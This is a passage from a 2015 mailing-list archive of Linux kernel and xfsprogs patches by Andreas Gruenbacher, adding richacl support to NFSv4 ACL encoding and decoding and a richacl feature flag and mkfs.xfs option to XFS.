nfs4_xattr_list_richacl, + .get = nfs4_xattr_get_richacl, + .set = nfs4_xattr_set_richacl, +}; + static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { .prefix = XATTR_NAME_NFSV4_ACL, .list = nfs4_xattr_list_nfs4_acl, @@ -8845,6 +9201,7 @@ static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { }; const struct xattr_handler *nfs4_xattr_handlers[] = { + &nfs4_xattr_richacl_handler, &nfs4_xattr_nfs4_acl_handler, #ifdef CONFIG_NFS_V4_SECURITY_LABEL &nfs4_xattr_nfs4_label_handler, diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index adeb894..2f1d6be 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -52,6 +52,10 @@ #include #include #include +#include +#include +#include /* for RICHACL_XATTR_MAX_COUNT */ +#include #include "nfs4_fs.h" #include "internal.h" @@ -1650,16 +1654,24 @@ encode_restorefh(struct xdr_stream *xdr, struct compound_hdr *hdr) static void encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compound_hdr *hdr) { - __be32 *p; + int attrlen_offset; + __be32 attrlen, *p; encode_op_hdr(xdr, OP_SETATTR, decode_setacl_maxsz, hdr); encode_nfs4_stateid(xdr, &zero_stateid); + + /* Encode attribute bitmap. */ p = reserve_space(xdr, 2*4); *p++ = cpu_to_be32(1); *p = cpu_to_be32(FATTR4_WORD0_ACL); - p = reserve_space(xdr, 4); - *p = cpu_to_be32(arg->acl_len); + + attrlen_offset = xdr->buf->len; + xdr_reserve_space(xdr, 4); /* to be backfilled later */ + xdr_write_pages(xdr, arg->acl_pages, 0, arg->acl_len); + + attrlen = htonl(xdr->buf->len - attrlen_offset - 4); + write_bytes_to_xdr_buf(xdr->buf, attrlen_offset, &attrlen, 4); } static void @@ -2488,7 +2500,7 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_sequence(xdr, &args->seq_args, &hdr); encode_putfh(xdr, args->fh, &hdr); replen = hdr.replen + op_decode_hdr_maxsz + 1; - encode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr); + encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, args->acl_pages, 0, args->acl_len); @@ -5262,50 +5274,156 @@ decode_restorefh(struct xdr_stream *xdr) return decode_op_hdr(xdr, OP_RESTOREFH); } +static int +nfs4_decode_ace_who(struct richace *ace, + const char **unmapped, unsigned int *unmapped_len, + const struct nfs_server *server, + struct xdr_stream *xdr) +{ + char *who; + u32 len; + int special_id; + __be32 *p; + int error; + + p = xdr_inline_decode(xdr, 4); + if (!p) + return -ENOMEM; /* acl truncated */ + len = be32_to_cpup(p++); + if (len >= XDR_MAX_NETOBJ) { + dprintk("%s: name too long (%u)!\n", + __func__, len); + return -EIO; + } + who = (char *)xdr_inline_decode(xdr, len); + if (!who) + return -ENOMEM; /* acl truncated */ + + special_id = nfs4acl_who_to_special_id(who, len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_flags &= ~RICHACE_IDENTIFIER_GROUP; + ace->e_id.special = special_id; + return 0; + } + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + error = nfs_map_group_to_gid(server, who, len, &ace->e_id.gid); + if (error && error != -ENOENT) { + dprintk("%s: nfs_map_group_to_gid failed!\n", + __func__); + return error; + } + } else { + error = nfs_map_name_to_uid(server, who, len, &ace->e_id.uid); + if (error && error != -ENOENT) { + dprintk("%s: nfs_map_name_to_uid failed!\n", + __func__); + return error; + } + } + if (error == -ENOENT) { + *unmapped = who; + *unmapped_len = len; + } + return 0; +} + +static struct richacl * +decode_acl_entries(struct xdr_stream *xdr, const struct nfs_server *server) +{ + struct richacl *acl; + struct richace *ace; + uint32_t count; + __be32 *p; + int status; + + p = xdr_inline_decode(xdr, 4); + if (unlikely(!p)) + return ERR_PTR(-ENOMEM); /* acl truncated */ + count = be32_to_cpup(p); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EIO); + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + richacl_for_each_entry(ace, acl) { + const char *unmapped = NULL; + unsigned int unmapped_len; + + p = xdr_inline_decode(xdr, 4*3); + status = -ENOMEM; + if (unlikely(!p)) + goto out; /* acl truncated */ + ace->e_type = be32_to_cpup(p++); + ace->e_flags = be32_to_cpup(p++); + status = -EIO; + if (ace->e_flags & + (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) + goto out; + ace->e_mask = be32_to_cpup(p++); + status = nfs4_decode_ace_who(ace, &unmapped, + &unmapped_len, server, + xdr); + if (status) + goto out; + if (unmapped) { + status = -ENOMEM; + if (richacl_add_unmapped_identifier(&acl, &ace, + unmapped, unmapped_len, + GFP_NOFS)) + goto out; + } + } + status = 0; + +out: + if (status) { + richacl_put(acl); + acl = ERR_PTR(status); + } + return acl; +} + static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, struct nfs_getaclres *res) { unsigned int savep; uint32_t attrlen, bitmap[3] = {0}; + struct richacl *acl = NULL; int status; - unsigned int pg_offset; - res->acl_len = 0; if ((status = decode_op_hdr(xdr, OP_GETATTR)) != 0) - goto out; - - xdr_enter_page(xdr, xdr->buf->page_len); - - /* Calculate the offset of the page data */ - pg_offset = xdr->buf->head[0].iov_len; - + return status; if ((status = decode_attr_bitmap(xdr, bitmap)) != 0) - goto out; + return status; if ((status = decode_attr_length(xdr, &attrlen, &savep)) != 0) - goto out; + return status; if (unlikely(bitmap[0] & (FATTR4_WORD0_ACL - 1U))) return -EIO; if (likely(bitmap[0] & FATTR4_WORD0_ACL)) { - - /* The bitmap (xdr len + bitmaps) and the attr xdr len words - * are stored with the acl data to handle the problem of - * variable length bitmaps.*/ - res->acl_data_offset = xdr_stream_pos(xdr) - pg_offset; - res->acl_len = attrlen; - - /* Check for receive buffer overflow */ - if (res->acl_len > (xdr->nwords << 2) || - res->acl_len + res->acl_data_offset > xdr->buf->page_len) { - res->acl_flags |= NFS4_ACL_TRUNC; - dprintk("NFS: acl reply: attrlen %u > page_len %u\n", - attrlen, xdr->nwords << 2); - } + acl = decode_acl_entries(xdr, res->server); + if (IS_ERR(acl)) + return PTR_ERR(acl); + bitmap[0] &= ~FATTR4_WORD0_ACL; } else - status = -EOPNOTSUPP; + return -EOPNOTSUPP; + + status = -EIO; + if (unlikely(bitmap[0])) + goto out; + + status = decode_attr_mode(xdr, bitmap, &res->mode); + if (status < 0) + goto out; + status = 0; out: + if (status) + richacl_put(acl); + else + res->acl = acl; return status; } diff --git a/fs/nfs/super.c b/fs/nfs/super.c index 383a027..8ced33d 100644 --- a/fs/nfs/super.c +++ b/fs/nfs/super.c @@ -2319,7 +2319,7 @@ void nfs_fill_super(struct super_block *sb, struct nfs_mount_info *mount_info) /* The VFS shouldn't apply the umask to mode bits. We will do * so ourselves when necessary. */ - sb->s_flags |= MS_POSIXACL; + sb->s_flags |= MS_RICHACL; sb->s_time_gran = 1; } @@ -2346,7 +2346,7 @@ void nfs_clone_super(struct super_block *sb, struct nfs_mount_info *mount_info) /* The VFS shouldn't apply the umask to mode bits. We will do * so ourselves when necessary. */ - sb->s_flags |= MS_POSIXACL; + sb->s_flags |= MS_RICHACL; } nfs_initialise_sb(sb); diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h index c0e9614..b84e194 100644 --- a/include/linux/nfs_fs.h +++ b/include/linux/nfs_fs.h @@ -176,7 +176,6 @@ struct nfs_inode { wait_queue_head_t waitqueue; #if IS_ENABLED(CONFIG_NFS_V4) - struct nfs4_cached_acl *nfs4_acl; /* NFSv4 state */ struct list_head open_states; struct nfs_delegation __rcu *delegation; diff --git a/include/linux/nfs_fs_sb.h b/include/linux/nfs_fs_sb.h index c7d42b7..cb282e1 100644 --- a/include/linux/nfs_fs_sb.h +++ b/include/linux/nfs_fs_sb.h @@ -244,5 +244,7 @@ struct nfs_server { #define NFS_CAP_ALLOCATE (1U << 20) #define NFS_CAP_DEALLOCATE (1U << 21) #define NFS_CAP_LAYOUTSTATS (1U << 22) +#define NFS_CAP_ALLOW_ACLS (1U << 23) +#define NFS_CAP_DENY_ACLS (1U << 24) #endif diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 090ade4..337c341 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -683,9 +683,10 @@ struct nfs_setattrargs { struct nfs_setaclargs { struct nfs4_sequence_args seq_args; + const struct nfs_server * server; struct nfs_fh * fh; - size_t acl_len; struct page ** acl_pages; + size_t acl_len; }; struct nfs_setaclres { @@ -703,9 +704,9 @@ struct nfs_getaclargs { #define NFS4_ACL_TRUNC 0x0001 /* ACL was truncated */ struct nfs_getaclres { struct nfs4_sequence_res seq_res; - size_t acl_len; - size_t acl_data_offset; - int acl_flags; + const struct nfs_server * server; + struct richacl * acl; + umode_t mode; struct page * acl_scratch; }; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:47:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 44FBC29E77 for ; Fri, 23 Oct 2015 13:47:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 330558F8033 for ; Fri, 23 Oct 2015 11:47:44 -0700 (PDT) X-ASG-Debug-ID: 1445626062-04cbb0660c3f520001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id JKIm0C4uGTGwV2TF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:47:43 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 6F643AACC3; Fri, 23 Oct 2015 18:47:42 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fI026588; Fri, 23 Oct 2015 14:47:36 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 49/49] nfs: Add support for the v4.1 dacl attribute Date: Fri, 23 Oct 2015 20:42:02 +0200 X-ASG-Orig-Subj: [PATCH v12 49/49] nfs: Add support for the v4.1 dacl attribute Message-Id: <1445625722-13791-50-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626062 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The dacl attribute includes Automatic Inheritance flags not supported by the acl attribute. it is only supported in NFS version 4.1 and higher. On systems where NFS version 4.0 is still the default, an additional mount option is needed: mount -t nfs4 -o vers=4.1 [...] Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4proc.c | 2 +- fs/nfs/nfs4xdr.c | 54 ++++++++++++++++++++++++++++++++++++++++++------- include/linux/nfs_xdr.h | 2 +- 3 files changed, 49 insertions(+), 9 deletions(-) diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index 7bb2dea..191369f 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -4556,7 +4556,7 @@ static struct richacl *__nfs4_get_acl_uncached(struct inode *inode) struct nfs_server *server = NFS_SERVER(inode); struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE)] = {}; struct nfs_getaclargs args = { - .fh = NFS_FH(inode), + .inode = inode, .acl_pages = pages, .acl_len = ARRAY_SIZE(pages) * PAGE_SIZE, }; diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 2f1d6be..a73f7c6 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -1661,9 +1661,16 @@ encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compoun encode_nfs4_stateid(xdr, &zero_stateid); /* Encode attribute bitmap. */ - p = reserve_space(xdr, 2*4); - *p++ = cpu_to_be32(1); - *p = cpu_to_be32(FATTR4_WORD0_ACL); + if (arg->server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + p = reserve_space(xdr, 3*4); + *p++ = cpu_to_be32(2); + *p++ = 0; + *p = cpu_to_be32(FATTR4_WORD1_DACL); + } else { + p = reserve_space(xdr, 2*4); + *p++ = cpu_to_be32(1); + *p = cpu_to_be32(FATTR4_WORD0_ACL); + } attrlen_offset = xdr->buf->len; xdr_reserve_space(xdr, 4); /* to be backfilled later */ @@ -2498,9 +2505,12 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_compound_hdr(xdr, req, &hdr); encode_sequence(xdr, &args->seq_args, &hdr); - encode_putfh(xdr, args->fh, &hdr); + encode_putfh(xdr, NFS_FH(args->inode), &hdr); replen = hdr.replen + op_decode_hdr_maxsz + 1; - encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); + if (NFS_SERVER(args->inode)->attr_bitmask[1] & FATTR4_WORD1_DACL) + encode_getattr_two(xdr, 0, FATTR4_WORD1_MODE | FATTR4_WORD1_DACL, &hdr); + else + encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, args->acl_pages, 0, args->acl_len); @@ -5402,12 +5412,25 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, if (unlikely(bitmap[0] & (FATTR4_WORD0_ACL - 1U))) return -EIO; - if (likely(bitmap[0] & FATTR4_WORD0_ACL)) { + + if (bitmap[0] & FATTR4_WORD0_ACL) { + struct richace *ace; + + if (bitmap[1] & FATTR4_WORD1_DACL) + return -EIO; + acl = decode_acl_entries(xdr, res->server); if (IS_ERR(acl)) return PTR_ERR(acl); + + status = -EIO; + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_INHERITED_ACE) + goto out; + } + bitmap[0] &= ~FATTR4_WORD0_ACL; - } else + } else if (!(bitmap[1] & FATTR4_WORD1_DACL)) return -EOPNOTSUPP; status = -EIO; @@ -5417,6 +5440,23 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, status = decode_attr_mode(xdr, bitmap, &res->mode); if (status < 0) goto out; + + if (bitmap[1] & FATTR4_WORD1_DACL) { + unsigned int flags; + __be32 *p; + + p = xdr_inline_decode(xdr, 4); + if (unlikely(!p)) + return -EIO; + flags = be32_to_cpup(p); + + acl = decode_acl_entries(xdr, res->server); + if (IS_ERR(acl)) + return PTR_ERR(acl); + + acl->a_flags = flags; + bitmap[1] &= ~FATTR4_WORD1_DACL; + } status = 0; out: diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 337c341..9c2a078 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -695,7 +695,7 @@ struct nfs_setaclres { struct nfs_getaclargs { struct nfs4_sequence_args seq_args; - struct nfs_fh * fh; + struct inode * inode; size_t acl_len; struct page ** acl_pages; }; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 14:17:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6796D7F9B for ; Fri, 23 Oct 2015 14:17:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 399CE30404E for ; Fri, 23 Oct 2015 12:17:18 -0700 (PDT) X-ASG-Debug-ID: 1445627832-04bdf0330941fc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id D6SVN8LeDOSTB6yb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 12:17:12 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 971188EA37; Fri, 23 Oct 2015 19:17:12 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NJH9ad000818; Fri, 23 Oct 2015 15:17:10 -0400 From: Andreas Gruenbacher To: xfs@oss.sgi.com, david@fromorbit.com Cc: Andreas Gruenbacher Subject: [PATCH 0/4] Richacl support Date: Fri, 23 Oct 2015 21:17:04 +0200 X-ASG-Orig-Subj: [PATCH 0/4] Richacl support Message-Id: <1445627828-14661-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445627832 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Here are my xfsprogs changes for adding richacl support. The richacl on-disk format should be the same across all filesystems, so it makes sense to share the verification code. I've added code for that to librichacl. To avoid an additional runtime dependency for xfs_repair, librichacl is linked statically. The changes are available in git form here: https://github.com/andreas-gruenbacher/xfsprogs-dev richacl Thanks, Andreas Andreas Gruenbacher (4): libxfs: Add the richacl incompatible feature flag mkfs.xfs: Add support for the richacl feature flag xfs_repair: Improve warning for invalid attributes xfs_repair: Validate richacl attributes configure.ac | 22 +++++++++++++++++++++ include/builddefs.in | 5 +++++ libxfs/xfs_format.h | 4 +++- man/man8/mkfs.xfs.8 | 9 +++++++++ mkfs/xfs_mkfs.c | 20 +++++++++++++++++-- po/de.po | 18 +++-------------- po/pl.po | 14 +++---------- repair/Makefile | 2 +- repair/attr_repair.c | 55 +++++++++++++++++++++++++++++++++++++++++----------- 9 files changed, 108 insertions(+), 41 deletions(-) -- 2.5.0 From agruenba@redhat.com Fri Oct 23 14:17:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 61B7F7F9C for ; Fri, 23 Oct 2015 14:17:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4839C8F804B for ; Fri, 23 Oct 2015 12:17:19 -0700 (PDT) X-ASG-Debug-ID: 1445627838-04cbb0660d3fe20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GWwpK498XkEI5ts1 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 12:17:18 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id E81498E24A; Fri, 23 Oct 2015 19:17:17 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NJH9af000818; Fri, 23 Oct 2015 15:17:15 -0400 From: Andreas Gruenbacher To: xfs@oss.sgi.com, david@fromorbit.com Cc: Andreas Gruenbacher Subject: [PATCH 2/4] mkfs.xfs: Add support for the richacl feature flag Date: Fri, 23 Oct 2015 21:17:06 +0200 X-ASG-Orig-Subj: [PATCH 2/4] mkfs.xfs: Add support for the richacl feature flag Message-Id: <1445627828-14661-3-git-send-email-agruenba@redhat.com> In-Reply-To: <1445627828-14661-1-git-send-email-agruenba@redhat.com> References: <1445627828-14661-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445627838 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Add option "mkfs.xfs -m richacl={0|1}" for explicitly enabling or disabling richacl support. The feature flag is disabled by default. Signed-off-by: Andreas Gruenbacher --- man/man8/mkfs.xfs.8 | 9 +++++++++ mkfs/xfs_mkfs.c | 20 ++++++++++++++++++-- 2 files changed, 27 insertions(+), 2 deletions(-) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index e98b94d..99ef6a6 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -173,6 +173,15 @@ is used, the free inode btree feature is not supported and is disabled. .BI uuid= value Use the given value as the filesystem UUID for the newly created filesystem. The default is to generate a random UUID. +.BI richacl= value +This option is used to create a filesystem with support for Rich Access Control +Lists (richacls). The value is either 0 to disable the feature, or 1 to enable +richacls. Filesystems with richacl support require richacl support in the +kernel to be mounted. +.IP +By default, +.B mkfs.xfs +will disable richacls. .RE .TP .BI \-d " data_section_options" diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 7cba41a..300333f 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -185,6 +185,8 @@ char *mopts[] = { "finobt", #define M_UUID 2 "uuid", +#define M_RICHACL 3 + "richacl", NULL }; @@ -983,6 +985,7 @@ main( int crcs_enabled; int finobt; bool finobtflag; + int richacls_enabled; int spinodes; platform_uuid_generate(&uuid); @@ -1021,6 +1024,7 @@ main( crcs_enabled = 1; finobt = 1; finobtflag = false; + richacls_enabled = 0; spinodes = 0; memset(&fsx, 0, sizeof(fsx)); @@ -1532,6 +1536,14 @@ main( if (platform_uuid_parse(value, &uuid)) illegal(optarg, "m uuid"); break; + case M_RICHACL: + if (!value || *value == '\0') + reqval('m', mopts, M_RICHACL); + c = atoi(value); + if (c < 0 || c > 1) + illegal(value, "m richacl"); + richacls_enabled = c; + break; default: unknown('m', value); } @@ -2562,11 +2574,15 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), dirftype = 1; } + if (richacls_enabled) { + sbp->sb_features_incompat |= XFS_SB_FEAT_INCOMPAT_RICHACL; + } + if (!qflag || Nflag) { printf(_( "meta-data=%-22s isize=%-6d agcount=%lld, agsize=%lld blks\n" " =%-22s sectsz=%-5u attr=%u, projid32bit=%u\n" - " =%-22s crc=%-8u finobt=%u, sparse=%u\n" + " =%-22s crc=%-8u finobt=%u, richacl=%d, sparse=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" @@ -2575,7 +2591,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), "realtime =%-22s extsz=%-6d blocks=%lld, rtextents=%lld\n"), dfile, isize, (long long)agcount, (long long)agsize, "", sectorsize, attrversion, !projid16bit, - "", crcs_enabled, finobt, spinodes, + "", crcs_enabled, finobt, richacls_enabled, spinodes, "", blocksize, (long long)dblocks, imaxpct, "", dsunit, dswidth, dirversion, dirblocksize, nci, dirftype, -- 2.5.0 From agruenba@redhat.com Fri Oct 23 14:17:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 265A57FA0 for ; Fri, 23 Oct 2015 14:17:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 07940304053 for ; Fri, 23 Oct 2015 12:17:17 -0700 (PDT) X-ASG-Debug-ID: 1445627835-04cbb0660e3fe20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id bLHdpVfgGdRFNqx0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 12:17:15 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 48EC2A3049; Fri, 23 Oct 2015 19:17:15 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NJH9ae000818; Fri, 23 Oct 2015 15:17:13 -0400 From: Andreas Gruenbacher To: xfs@oss.sgi.com, david@fromorbit.com Cc: Andreas Gruenbacher Subject: [PATCH 1/4] libxfs: Add the richacl incompatible feature flag Date: Fri, 23 Oct 2015 21:17:05 +0200 X-ASG-Orig-Subj: [PATCH 1/4] libxfs: Add the richacl incompatible feature flag Message-Id: <1445627828-14661-2-git-send-email-agruenba@redhat.com> In-Reply-To: <1445627828-14661-1-git-send-email-agruenba@redhat.com> References: <1445627828-14661-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445627835 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher This feature flag enables richacls instead of POSIX ACLs on the entire fileystem. Signed-off-by: Andreas Gruenbacher --- libxfs/xfs_format.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/libxfs/xfs_format.h b/libxfs/xfs_format.h index 946bcd1..087d44e 100644 --- a/libxfs/xfs_format.h +++ b/libxfs/xfs_format.h @@ -469,11 +469,13 @@ xfs_sb_has_ro_compat_feature( #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* sparse inode chunks */ #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* metadata UUID */ +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ #define XFS_SB_FEAT_INCOMPAT_ALL \ (XFS_SB_FEAT_INCOMPAT_FTYPE| \ XFS_SB_FEAT_INCOMPAT_SPINODES| \ - XFS_SB_FEAT_INCOMPAT_META_UUID) + XFS_SB_FEAT_INCOMPAT_META_UUID| \ + XFS_SB_FEAT_INCOMPAT_RICHACL) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool -- 2.5.0 From agruenba@redhat.com Fri Oct 23 14:17:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: 